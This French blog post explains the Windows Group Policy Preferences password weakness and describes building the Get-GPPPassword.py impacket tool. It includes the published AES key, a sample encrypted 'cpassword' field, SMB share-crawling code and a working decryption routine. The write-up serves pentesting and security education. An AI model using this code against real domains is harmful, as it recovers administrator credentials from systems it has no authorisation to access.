Exploitation des préférences de stratégie de groupe sous Windows
Introduction
Dans cet article, j’exposerai les dangers de l’utilisation des Préférences de stratégie de groupe (GPP) pour stocker les mots de passe dans un domaine. Comme mentionné sur adsecurity.org, le premier article sur le sujet aurait été publié en 2012 par @emiliengirault. J’expliquerai ensuite comment nous avons créé l’outil Get-GPPPassword.py avec @Shutdown pour aider à trouver et déchiffrer automatiquement les mots de passe des préférences de stratégie de groupe.
Que sont les préférences de stratégie de groupe
Les préférences de stratégie de groupe (GPP) sont une extension des stratégies de groupe, utilisées pour remplacer une préférence sur un groupe de machines. Elles sont accessibles par tous les utilisateurs authentifiés, dans des fichiers XML en lecture seule dans le partage SYSVOL
du contrôleur de domaine. Ces politiques peuvent être particulièrement intéressantes pendant les pentests, car elles peuvent contenir des informations utiles telles que des mots de passe. Dans la section suivante, nous nous concentrerons sur la manière dont les mots de passe sont stockés dans les fichiers XML des Group Policy Preferences.
Stockage des mots de passe dans les préférences de stratégie de groupe
Étant donné que n’importe quel utilisateur peut accéder à ces préférences de stratégie de groupe (GPP), les informations d’identification ne sont pas stockées en clair dans les fichiers XML. Enfin … en quelque sorte. Les informations d’identification sont chiffrées en AES-CBC et stockées dans le champ cpassword
des attributs Properties
dans les fichiers XML comme celui-ci:
<?xml version="1.0" encoding="utf-8" ?>
<Groups clsid="{e18bd30b-c7bd-c99f-78bb-206b434d0b08}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-02-18 01:53:01" uid="{D5FE7352-81E1-42A2-B7DA-118402BE4C33}">
<Properties action="U" newName="ADSAdmin" fullName="" description="" cpassword="RI133B2Wl2CiI0Cau1DtrtTe3wdFwzCiWB5PSAxXMDstchJt3bL0Uie0BaZ/7rdQjugTonF3ZWAKa1iRvd4JGQ" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthonty="RID_ADMIN" userName="Administrator (built-in)" expires="2015-02-17" />
</User>
</Groups>
Ce système ne serait pas si mauvais, si seulement Microsoft ne publiait pas la clé privée AES sur MSDN pour déchiffrer le mot de passe. Oh attendez … Ils l’ont fait:
La clé AES des champs cpassword
des préférences de stratégie de groupe est:
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
Cette clé AES est toujours utilisée pour chiffrer les mots de passe des champs cpassword
des préférences de stratégie de groupe, avec un vecteur d’initialisation nul (IV). Par conséquent, il n’y a plus aucune sécurité dans ce système de stockage pour les informations sensibles, telles que les informations d’identification. Puisque tous les utilisateurs authentifiés ont un accès en lecture au partage SYSVOL
, n’importe peut rechercher des fichiers XML contenant des Properties
avec des champs cpassword
, contenant les mots de passe chiffrés en AES-CBC.
Création de l’outil Get-GPPPassword
Maintenant que nous savons comment les mots de passe sont stockés dans les préférences de stratégie de groupe, nous avons décidé avec Shutdown de développer un outil, basé sur impacket, visant à chercher et déchiffrer automatiquement les mots de passe présents dans ces fichiers XML. Alors nous avons créé Get-GPPPassword.py !
Cet outil est composé de trois parties principales:
- Recherche de fichiers XML dans les dossiers partagés
- Lecture et analyse des fichiers à la volée
- Déchiffrement des champs cpassword
J’expliquerai ces parties plus en détail dans les sections suivantes.
Recherche de fichiers XML dans les dossiers partagés
La première chose dont nous avions besoin dans cet outil est de trouver des chemins vers les éventuels fichiers de préférences de stratégie de groupe XML dans les partages (SYSVOL
ou autres). Pour ce faire, nous avons utilisé un algorithme de recherche en largeur pour rechercher récursivement les fichiers XML dans les dossiers partagés.
def find_cpasswords(self, base_dir, extension='xml'):
# Breadth-first search algorithm to recursively find .extension files
files = []
searchdirs = [base_dir + '/']
while len(searchdirs) != 0:
next_dirs = []
# Iterating on directories to crawl
for sdir in searchdirs:
# Iterating on crawl results of depth 1
for sharedfile in self.smb.listPath(self.share, sdir + '*', password=None):
if sharedfile.get_longname() not in ['.', '..']:
if sharedfile.is_directory():
# Found directory, saving for next search in searchdirs
next_dirs.append(sdir + sharedfile.get_longname() + '/')
else:
if sharedfile.get_longname().endswith('.' + extension):
# Found matching XML file
# TODO: parse file & show results
pass
else:
# Found other file
pass
searchdirs = next_dirs
return files
Maintenant que nous pouvons trouver des fichiers XML dans les partages, nous devons analyser ces fichiers. C’est ce que nous étudierons dans la partie suivante.
Lecture et analyse des fichiers à la volée
Une des choses que nous voulions avec Shutdown, est de pouvoir ouvrir les fichiers XML directement à la volée, sans monter le partage. Le montage d’un partage n’est pas possible sans droits spéciaux dans les conteneurs Docker, et nous voulions que notre outil puisse fonctionner correctement dans Exegol.
Nous avons décidé d’ouvrir les fichiers à la volée, sans monter le partage. Pour ce faire, nous avons lu le code soumis dans cette pull request d’impacket, où mxrch a utilisé des objets BytesIO pour ouvrir les fichiers sans monter le partage.
Grâce à cela, nous avons créé la fonction parse
suivante:
def parse(self, filename):
results = []
filename = filename.replace('/', '\\')
fh = BytesIO()
try:
# opening the files in streams instead of mounting shares allows for running the script from
# unprivileged containers
self.smb.getFile(self.share, filename, fh.write)
except SessionError as e:
logging.error(e)
return results
except Exception as e:
raise
output = fh.getvalue()
encoding = chardet.detect(output)["encoding"]
if encoding != None:
filecontent = output.decode(encoding).rstrip()
# Do parsing here
else:
# Output cannot be correctly decoded
fh.close()
return results
Cette fonction gère la lecture du fichier, ainsi que l’analyse du XML. Maintenant que nous avons récupéré le contenu du fichier, il est temps de déchiffrer ces champs cpassword
!
Déchiffrement des champs cpassword
Passons à la partie amusante! Déchiffrer les champs cpassword
chiffrés en AES trouvés dans les fichiers XML!
# AES Key : https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be)
key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b'
# Fixed null IV
iv = b'\x00' * 16
# Padding the ciphertext
pad = len(pw_enc_b64) % 4
if pad == 1:
pw_enc_b64 = pw_enc_b64[:-1]
elif pad == 2 or pad == 3:
pw_enc_b64 += '=' * (4 - pad)
pw_enc = base64.b64decode(pw_enc_b64)
# Create context
ctx = AES.new(key, AES.MODE_CBC, iv)
# Decryption
password = unpad(ctx.decrypt(pw_enc), ctx.block_size).decode('utf-16-le')
print(password)
Avec cette partie, nous sommes maintenant en mesure de déchiffrer avec succès les champs cpassword
des fichiers XML des préférences de stratégie de groupe! Il est maintenant temps de tout regrouper.
Regroupement des différentes parties
En combinant toutes ces parties, nous avons construit un script nommé Get-GPPPassword.py. Nous avons soumis une pull request aux scripts d’exemple d’impacket, et elle a été acceptée! Shutdown a également inclus notre outil dans Exegol!
Voici une petite démonstration de cet outil sympa en action:
Références
- https://www.thehacker.recipes/active-directory-domain-services/movement/credentials/dumping/group-policies-preferences
- https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py
- https://support.microsoft.com/en-us/topic/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevation-of-privilege-may-13-2014-60734e15-af79-26ca-ea53-8cd617073c30
- https://github.com/SecureAuthCorp/impacket/pull/1064
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn581922(v=ws.11)
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be